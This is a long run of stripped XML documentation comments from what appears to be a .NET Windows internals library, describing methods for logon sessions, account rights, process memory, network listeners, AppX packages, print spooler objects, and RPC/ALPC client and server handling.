+ + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The name of the auth package to user. + True to throw on error. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The name of the auth package to user. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The logged on token. + + + + Get a logon session. + + The logon session ID. + True to thrown on error. + The logon session. + + + + Get a logon session. + + The logon session ID. + The logon session. + + + + Get the logon session LUIDs + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon session LUIDs + + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + The list of logon sessions. + + + + Get account rights assigned to a SID. + + The SID to query. + True to throw on error. + The list of account rights. + + + + Get account rights assigned to a SID. + + The SID to query. + The list of account rights. + + + + Get SIDs associated with an account right. + + The name of the account right, such as SeImpersonatePrivilege. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The name of the account right, such as SeImpersonatePrivilege. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The account right privilege to query. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The account right privilege to query. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The logon account right to query. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The logon account right to query. + The list of SIDs assigned to the account right. + + + + Get account rights. + + Specify the type of account rights to get. + Account rights. + + + + Get all account rights. + + All account rights. + + + + Add account rights to the user. + + The user SID to add. + The list of account rights. + True to throw on error. + The NT status code. + + + + Add account rights to the user. + + The user SID to add. + The list of account rights. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account privileges. + True to throw on error. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account privileges. + + + + Add account rights as privileges. + + The user SID to add. + The list of account logon types. + True to throw on error. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account logon types. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + + + + Remove account rights from a user. + + The user SID to remove. + The list of privileges. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account privileges. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + + + + Win32 memory utils. + + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Class to represent a TCP listener with process ID. + + + + Gets the local endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the local computer. + + + Gets the remote endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the remote computer. + + + Gets the state of this Transmission Control Protocol (TCP) connection. + One of the enumeration values. + + + + Get local address. + + + + + Get local port. + + + + + Get remote address. + + + + + Get remote port. + + + + + Gets the process ID of the listener on the local system. + + + + + Gets the time the socket was created. + + + + + Gets the owner of the module. This could be an executable path or a service name. + + + + + Class to represent a UDP listener with process ID. + + + + Gets the local endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the local computer. + + + + Get local address. + + + + + Get local port. + + + + + Gets the process ID of the listener on the local system. + + + + + Gets the time the socket was created. + + + + + Gets the owner of the module. This could be an executable path or a service name. + + + + + Gets if the UDP socket is bound to a specific port. + + + + + Utilities for Win32 network APIs. + + + + + Get a list of TCP listeners with process IDs. + + The address family to query. + True to throw on error. + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a list of TCP listeners with process IDs. + + The address family to query. + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a list of TCP listeners with process IDs. Returns both IPv4 and IPv6 listeners. + + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a TCP listener for a TCP port. + + The address family of the IP address. + The TCP port. + The listener information, or null if not found. + + + + Get a list of UDP listeners with process IDs. + + The address family to query. + True to throw on error. + The list of UDP listeners. + + + + Get a list of UDP listeners with process IDs. + + The address family to query. + The list of UDP listeners. + + + + Get a list of UDP listeners with process IDs. Returns both IPv4 and IPv6 listeners. + + The list of UDP listeners. + + + + APPX Package Architecture. + + + + + X86 + + + + + ARM + + + + + X64 + + + + + Neutral + + + + + ARM64 + + + + + APPX Package Origin. + + + + + Unknown origin. + + + + + Unsigned. + + + + + Inbox. + + + + + Store. + + + + + Developer unsigned. + + + + + Developer signed. + + + + + Line-of-business. + + + + + Class which represents an AppContainer package identity. + + + + + Process architecture. + + + + + Package version. + + + + + Package family name. + + + + + Publisher (not always available). + + + + + Resource ID. + + + + + Published ID. + + + + + Full package name. + + + + + Package origin. + + + + + Package family name. + + + + + Package install path. + + + + + The list of application model IDs. + + + + + Get the GetStagedPackageOrigin method as a delegate. It's supposed to be exposed by kernel32, + but actually doesn't seem to be. + + + + + + Create from a package full name. + + The package full name. + Query for full information (needs to be installed for the current user). + True to throw on error. + The package identity. + + + + Create from a package full name. + + The package full name. + Query for full information (needs to be installed for the current user). + The package identity. + + + + Create from a token. + + The AppContainer token. + Query for full information (needs to be installed for the current user). + True to throw on error. + The package identity. + + + + Create from a token. + + The AppContainer token. + Query for full information (needs to be installed for the current user). + The package identity. + + + + Class to represent a printer object. + + + + + Dispose the printer object. + + + + + Open a printer or server. + + The name of the printer or server. If this is null or empty then it's the local server. + The desired access on the printer. + True to throw on error. + The opened printer. + + + + Open a printer. + + The name of the printer. + The desired access on the printer. + The opened printer. + + + + Open a printer. + + The name of the printer. + The opened printer. + + + + Get security descriptor for the printer. + + True to throw on error. + The printer's security descriptor. + + + + Get security descriptor for the printer. + + The printer's security descriptor. + + + + Access rights for a print spooler object. + + + + + Utils for print spooler. + + + + + Name for the fake printer NT type. + + + + + Name for the fake print server NT type. + + + + + Name for the fake print server NT type. + + + + + Get the generic mapping for printer objects. + + The printer objects generic mapping. + + + + Get the generic mapping for job objects. + + The job objects generic mapping. + + + + Get the generic mapping for server objects. + + The server objects generic mapping. + + + + Get the appropriate NT type for the printer path. + + The printer path, e.g. \\server\printer. + The NT type. + + + + Class representing an RPC ALPC server. + + + + + The PID of the process which contains the ALPC server. + + + + + The name of the process which contains the ALPC server. + + + + + List of known endpoints potentially accessible via this RPC server. + + + + + The number of endpoints. + + + + + The name of the ALPC server. + + + + + The security descriptor of the ALPC server. + + + + + Get RPC ALPC servers for a specific process. + + The ID of the process. + The list of RPC ALPC servers. + If the process is suspended or frozen this call can hang. + + + + Get a list of all RPC ALPC servers. + + This works by discovering any server ALPC ports owned by the process and querying for interfaces. + This will ignore any frozen processes (primarily UWP) as they can't respond to the endpoint enumeration. + The list of RPC ALPC servers. + + + + Get the RPC ALPC server for an ALPC port object path. + + The object manager path to the ALPC port. + The ALPC RPC server. + Needs an API which is only available from Windows 10 19H1. + + + + Overridden ToString method. + + Formatted string. + + + + Generic RPC client. + + + + + Constructor. + + The interface ID. + Version of the interface. + + + + Constructor. + + The RPC server to bind to. + + + + Send and receive an RPC message. + + The procedure number. + Marshal NDR buffer for the call. + Unmarshal NDR buffer for the result. + + + + Class to represent an RPC endpoint. + + + + + The interface ID of the endpoint. + + + + + The interface version. + + + + + The object UUID. + + + + + Optional annotation. + + + + + RPC binding string. + + + + + Endpoint protocol sequence. + + + + + Endpoint network address. + + + + + Endpoint name. + + + + + Endpoint network options. + + + + + The endpoint path. + + + + + Indicates this endpoint is registered with the endpoint mapper. + + + + + Overridden ToString method. + + String form of the object. + + + + Get information about the server process. + + + + + + Static class to access information from the RPC mapper. + + + + + Query all endpoints registered on the local system. + + List of endpoints. + + + + Query all endpoints registered based on a binding string. + + The binding string for the server to search on. If null or empty will search localhost. + List of endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + The binding string for the server to search on. If null or empty will search localhost. + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint ignoring the version. + + The binding string for the server to search on. If null or empty will search localhost. + Interface UUID to lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint ignoring the version. + + Interface UUID to lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + The server interface. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint via ALPC. + + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint via ALPC. + + The server interface. + The list of registered RPC endpoints. + + + + Query for endpoints for a RPC binding. + + The ALPC port to query. Can be a full path as long as it contains \RPC Control\ somewhere. + True to throw on error. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The ALPC port to query. Can be a full path as long as it contains \RPC Control\ somewhere. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The RPC binding to query, e.g. ncalrpc:[PORT] + True to throw on error. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The RPC binding to query, e.g. ncalrpc:[PORT] + The list of endpoints on the RPC binding. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The protocol sequence to lookup. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The protocol sequence to lookup. + The network address for the lookup. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The string binding to map. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the ALPC port path. + + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the ALPC port path. + + The server interface. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Finds ALPC endpoints which allows for the server binding. This brute forces all ALPC ports to try and find + something which will accept the bind. + + This could hang if the ALPC port is owned by a suspended process. + Interface UUID to lookup. + Interface version lookup. + A list of RPC endpoints which can bind the interface. + Throws on error. + + + + Finds an ALPC endpoint which allows for the server binding. This brute forces all ALPC ports to try and find + something which will accept the bind. + + This could hang if the ALPC port is owned by a suspended process. + Interface UUID to lookup. + Interface version lookup. + The first RPC endpoints which can bind the interface. Throws exception if nothing found. + Throws on error. + + + + Resolve the binding string for this service from the Endpoint Mapper. + + The binding string to map. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + Resolve the binding string for this service from the the Endpoint Mapper. + + The protocol sequence to lookup. + The network address to lookup the endpoint. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + Resolve the binding string for this service from the local Endpoint Mapper. + + The protocol sequence to lookup. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + A class to represent an RPC server. + + + + + Resolve the current running endpoint for this server. + + + + + + Format the RPC server as text. + + The formatted RPC server. + + + + Format the RPC server as text. + + True to remove comments from the output. + The formatted RPC server. + + + + Format the RPC server as text. + + True to remove comments from the output. + Formating using C++ pseduo syntax. + The formatted RPC server. + + + + Serialize the RPC server to a stream. + + The stream to hold the serialized server. + Only use the output of this method with the Deserialize method. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + Serialize the RPC server to a byte array. + + The serialized data. + Only use the output of this method with the Deserialize method. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + The RPC server interface UUID. + + + + + The RPC server interface version. + + + + + The RPC transfer syntax GUID. + + + + + The RPC transfer syntax version. + + + + + The number of RPC procedures. + + + + + The list of RPC procedures. + + + + + The NDR RPC server. + + + + + List of parsed complext types. + + + + + Path to the PE file this server came from (if known) + + + + + Name of the the PE file this server came from (if known) + + + + + Offset into the PE file this server was parsed from. + + + + + Name of the service this server would run in (if known). + + + + + Display name of the service this server would run in (if known). + + + + + True if the service is currently running. + + + + + List of endpoints for this service if running. + + + + + Count of endpoints for this service if running. + + + + + This parsed interface represents a client. + + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + True to parse client RPC interfaces. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + True to parse client RPC interfaces. + Ignore symbol resolving. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + Flags for the RPC parser. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Deserialize an RPC server instance from a stream. + + The stream to deserialize from. + The RPC server instance. + The data used by this method should only use the output from serialize. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + Deserialize an RPC server instance from a byte array. + + The byte array to deserialize from. + The RPC server instance. + The data used by this method should only use the output from serialize. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + Get the default RPC server security descriptor. + + The default security descriptor. + + + + Flags for the RPC server parser. + + + + + None. + + + + + Parse client entries. + + + + + Ignore symbols when parsing. + + + + + Try and resolve structure names. Needs private symbols. + + + + + Enable a symbol server fallback. If the copy of dbghelp doesn't have a symsrv.dll + then download from a public symbol URL to a local cache directory during symbol + resolving. + + + + + Base class for a RPC client. + + + + + Constructor. + + The interface ID. + Version of the interface. + + + + Constructor. + + The interface ID as a string. + Major version of the interface. + Minor version of the interface. + + + + Send and receive an RPC message. + + The procedure number. + The NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Unmarshal NDR buffer for the result. + + + + Method to call to check if the transport supports synchronous pipes. + + + + + Method to call to check if the transport supports asynchronous pipes. + + + + + Get whether the client is connected or not. + + + + + Get the endpoint that we connected to. + + + + + Get the protocol sequence that we connected to. + + + + + Get or set the current Object UUID used for calls. + + + + + The RPC interface ID. + + + + + The RPC interface version. + + + + + Get the client transport object. + + + + + Connect the client to a RPC endpoint. + + The endpoint for RPC server. + The transport security for the connection. + + + + Connect the client to a RPC endpoint. + + The endpoint for RPC server. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The network address for the protocol sequence. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The network address for the protocol sequence. + The transport security for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The security quality of service for the connection. + + + + Connect the client to a RPC endpoint. + + The protocol sequence for the transport. + The endpoint for the protocol sequence. + The transport security for the connection. + + + + Connect the client to an ALPC RPC port. + + The path to the ALPC RPC port. + The security quality of service for the port. + + + + Connect the client to a RPC endpoint. + + The binding string for the RPC server. + The transport security for the connection. + + + + Connect the client to an ALPC RPC port. + + The path to the ALPC RPC port. If an empty string the endpoint will be looked up in the endpoint mapper. + + + + Connect the client to an ALPC RPC port. + + The ALPC endpoint will be looked up in the endpoint mapper. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Builder to create an RPC client from an RpcServer class. + + + + + Build a source file for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + The source code file. + + + + Build a C# source file for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The C# source code file. + + + + Build a C# source file for the RPC client. + + The RPC server to base the client on. + The C# source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + True to wrap complex decoders in a unique pointer. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The code generation options, can be null. + The code dom provider, such as CSharpDomProvider + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + True to wrap complex decoders in a unique pointer. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + Name of the decoder class. Can be null or empty to use default. + Name of the encoder class. Can be null or empty to use default. + Name of the generated namespace. Null or empty specified no namespace. + The source code file. + + + + Build a source file for RPC complex types. + + The RPC complex types to build the encoders from. + The C# source code file. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + True to ignore cached assemblies. + Code DOM provider to compile the assembly. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + True to ignore cached assemblies. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Compile an in-memory assembly for the RPC client. + + The RPC server to base the client on. + The compiled assembly. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + Additional builder arguments. + Code DOM provider to compile the assembly. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + True to ignore cached assemblies. + Additional builder arguments. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + Additional builder arguments. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Create an instance of an RPC client. + + The RPC server to base the client on. + The created RPC client. + This method will cache the results of the compilation against the RpcServer. + + + + Flags for the RPC client builder. + + + + + None. + + + + + Generate public properties on the client to create defined complex types. + + If not specified then constructors will be defined on the types themselves. + + + + Insert breakpoints into the start of every generated method. Also enables debugging. + + + + + Disable calculated correlation information. This will prevent automatic updating of array and + string lengths based on other parameters or fields. This might result in unexpected behavior or + call failures. This won't disable correlations for union types or constant correlations. + + + + + Don't emit any namespace, normally not specifying a namespace will auto-generate one. + + + + + Output FC_CHAR as if the original compiler had specified unsigned char types. Basically converts + System.SByte to System.Byte where needed which makes the methods easier to use. + + + + + Return ref/out parameters via a structure rather than requiring ref/out parameters in client + methods. + + + + + When using StructureReturn hide the original out/ref methods. + + + + + Generate encode/decode methods for complex types. + + + + + Exclude any text in the source code which can change between generations. + + + + + Wrap complex type decoders with a unique pointer. + + + + + Marshal pipe parameters using arrays. + + + + + Arguments for the RPC client builder. + + + + + Builder flags. + + + + + The namespace for the client class. + + + + + The class name of the client. + + + + + The class name of the complex type encoding class. + + + + + The class name of the complex type decoder class. + + + + + Enable debugging on built code. + + + + + GetHashCode implementation. + + The hash code. + + + + Equals implementation. + + The object to compare against. + True if the object is equal. + + + + Response data from an RPC client call. + + + + + The marshaled NDR data from the response. + + + + + Any object handles returned in the response. (only for ALPC). + + + + + Indicates the NDR data representation for the response. + + + + + Class to represent details about a server process. + + + + + The server process ID. + + + + + The server session ID. + + + + + The name of the process. + + + + + Get the process image path. + + + + + Overridden ToString method. + + + + + + Some addition internal utilities for RPC code. + + + + + Specify RPC trace level. + + Specify the RPC trace level. + This dumps NDR data. Verbose dumps the binary data. + + + + Specify RPC transport trace level. + + Specify the RPC transport trace level. + Verbose dumps the transport binary data. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to check for NULL. + + The type to check. + The object to check. + The name of the value to check. + The checked value. + + + + Helper to dereference a type. + + The type to dereference. + The value to dereference. + The dereferenced result. + + + + Helper to perform a plus unary operation. + + The value to apply the operator to. + The result. + + + + Helper to perform a minus unary operation. + + The value to apply the operator to. + The result. + + + + Helper to perform a complement unary operation. + + The value to apply the operator to. + The result. + + + + Perform a ternary operation. + + The condition to evaluate as != 0. + The result if true. + The result if false. + The result. + + + + Perform ADD. + + The left operand. + The right operand. + The result. + + + + Perform SUB. + + The left operand. + The right operand. + The result. + + + + Perform MUL. + + The left operand. + The right operand. + The result. + + + + Perform DIV. + + The left operand. + The right operand. + The result. + + + + Perform MOD. + + The left operand. + The right operand. + The result. + + + + Perform Bitwise AND. + + The left operand. + The right operand. + The result. + + + + Perform Bitwise OR. + + The left operand. + The right operand. + The result. + + + + Perform bitwise XOR. Needed as Code DOM doesn't support XOR. + + The left operand. + The right operand. + The result. + + + + Perform bitwise LEFTSHIFT. + + The left operand. + The right operand. + The result. + + + + Perform bitwise RIGHTSHIFT. + + The left operand. + The right operand. + The result. + + + + Perform logical AND. + + The left operand. + The right operand. + The result. + + + + Perform logical OR. + + The left operand. + The right operand. + The result. + + + + Perform EQUAL. + + The left operand. + The right operand. + The result. + + + + Perform NOTEQUAL. + + The left operand. + The right operand. + The result. + + + + Perform GREATER. + + The left operand. + The right operand. + The result. + + + + Perform GREATEREQUAL. + + The left operand. + The right operand. + The result. + + + + Perform LESS. + + The left operand. + The right operand. + The result. + + + + Perform LESSEQUAL. + + The left operand. + The right operand. + Returns left LESSEQUAL right. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The value + True if value != 0. + + + + Convert value to a boolean. + + The nullable value + True if value has a value set. + + + + Convert value to a boolean. + + The nullable value + True if value has a value set. + + + + Compose a string binding from its parts. + + The object UUID. + The protocol sequence. + The network address. + The endpoint. + The options. + The composed binding string. + + + + Interface to implement an RPC client transport. + + + + + Bind the RPC transport to a specified interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Disconnect the transport. + + + + + Get whether the client is connected or not. + + + + + Get the endpoint the client is connected to. + + + + + Get the transport protocol sequence. + + + + + Get whether the client has been authenticated. + + + + + Get the transport's authentication type. + + + + + Get the transport's authentication level. + + + + + Get information about the local server process, if known. + + + + + Get the current Call ID. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get whether the transport supports synchronous pipes. + + + + + RPC client transport over ALPC. + + + + + Constructor. + + The path to connect. The format depends on the transport. + The security quality of service for the connection. + + + + Constructor. + + The path to connect. The format depends on the transport. + The security quality of service for the connection. + Timeout for connection. + + + + Bind the RPC transport to an interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Get whether the client is connected or not. + + + + + Get the ALPC port path that we connected to. + + + + + Get the current Call ID. + + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Get whether the client has been authenticated. + + + + + Get the transports authentication type. + + + + + Get the transports authentication level. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get whether the transport supports synchronous pipes. + + + + + Flags to specify RPC authentication capabilities. + + + + + None. + + + + + Enable mutual authentication. + + + + + Enable a NULL session authentication. + + + + + Enable delegation of credentials if supported. + + + + + Authentication level for RPC transport. + + + + + Default. + + + + + None. + + + + + Connect only. + + + + + Call only. + + + + + Packet only. + + + + + Packet integrity. + + + + + Packer privacy and integrity. + + + + + RPC authentication type. + + + + + Default. Uses WinNT. + + + + + No authentication. + + + + + DCE private. + + + + + DCE public. + + + + + DEC public. + + + + + SPNEGO authentication. + + + + + WinNT authentication, i.e. NTLM. + + + + + Secure channel. + + + + + Kerberos. + + + + + DPA. + + + + + MSN. + + + + + Digest. + + + + + Kernel. + + + + + SPNEGO extender. + + + + + PKU2U + + + + + LiveSSP + + + + + LiveXP SSP. + + + + + CloudAP. + + + + + Netlogon. + + + + + MS Online. + + + + + Message Queue. + + + + + Interface to implement an RPC client transport factory. + + + + + Connect a new RPC client transport. + + The RPC endpoint. + The transport security for the connection. + The connected transport. + + + + Factory for RPC client transports. + + + + + Add a new transport factory. + + The protocol sequence to add. + The transport factory. + + + + Connect a client transport from an endpoint. + + The RPC endpoint. + The security quality of service for the connection. + The connected client transport. + Thrown if protocol sequence unsupported. + Other exceptions depending on the connection. + + + + Connect a client transport from an endpoint. + + The RPC endpoint. + The transport security for the connection. + The connected client transport. + Thrown if protocol sequence unsupported. + Other exceptions depending on the connection. + + + + Base class for a DCE/RPC connected client transport. This implements the common functions + of the DCE/RPC specs for connected network based RPC transports. + + + + + Constructor. + + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Get whether the client is connected or not. + + + + + Get the endpoint the client is connected to. + + + + + Get the transport protocol sequence. + + + + + Get information about the server process, if known. + + + + + Get whether the client has been authenticated. + + + + + Get the transports authentication type. + + + + + Get the transports authentication level. + + + + + Get the transport authentication context. + + + + + Indicates if this connection supported multiple security context. + + + + + Get the list of negotiated security context. + + + + + Get or set the current security context. + + + + + Get the current Call ID. + + + + + Get maximum receive fragment. + + + + + Get maximum send fragment. + + + + + Get association group ID. + + + + + Get whether the transport supports synchronous pipes. + + + + + Bind the RPC transport to a specified interface. + + The interface ID to bind to. + The interface version to bind to. + The transfer syntax to use. + The transfer syntax version to use. + + + + Add and authenticate a new security context. + + The transport security for the context. + The created security context. + + + + Send and receive an RPC message. + + The procedure number. + The object UUID for the call. + NDR data representation. + Marshal NDR buffer for the call. + List of handles marshaled into the buffer. + Client response from the send. + + + + Disconnect the transport. + + + + + Enable or disable bind time feature negotiation. You need to enable this to + use multiple security context. + + Should be set before connecting an RPC client. + + + + Dispose the transport. + + + + + Extended error information. + + + + + Computer name. + + + + + Process ID. + + + + + Timestamp. + + + + + Generating component. + + + + + Status code. + + + + + Detection location. + + + + + Flags. + + + + + Extra parameters. + + + + + Exception for RPC fault conditions. + + + + + Constructor. + + The RPC status code. + + + + Get extended error information. + + + + + RPC client transport over HyperV sockets. + + + + + Constructor. + + The HyperV socket endpoint to connect to. + The transport security for the connection. + + + + Get the transport protocol sequence. + + + + + RPC client transport over named pipes. + + + + + Constructor. + + The NT pipe path to connect. e.g. \??\pipe\ABC. + The transport security for the connection. + + + + Dispose of the client. + + + + + Disconnect the client. + + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Get whether the client is connected or not. + + + + + Get the named pipe port path that we connected to. + + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Class to implement a RPC client transport based on a stream. + + + + + Constructor. + + The stream to use to communicate with the transport. + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Read the next fragment from the transport. + + The maximum receive fragment length. + The read fragment. + + + + Write the fragment to the transport. + + The fragment to write. + True if successfully wrote the fragment. + + + + Class to implement RPC 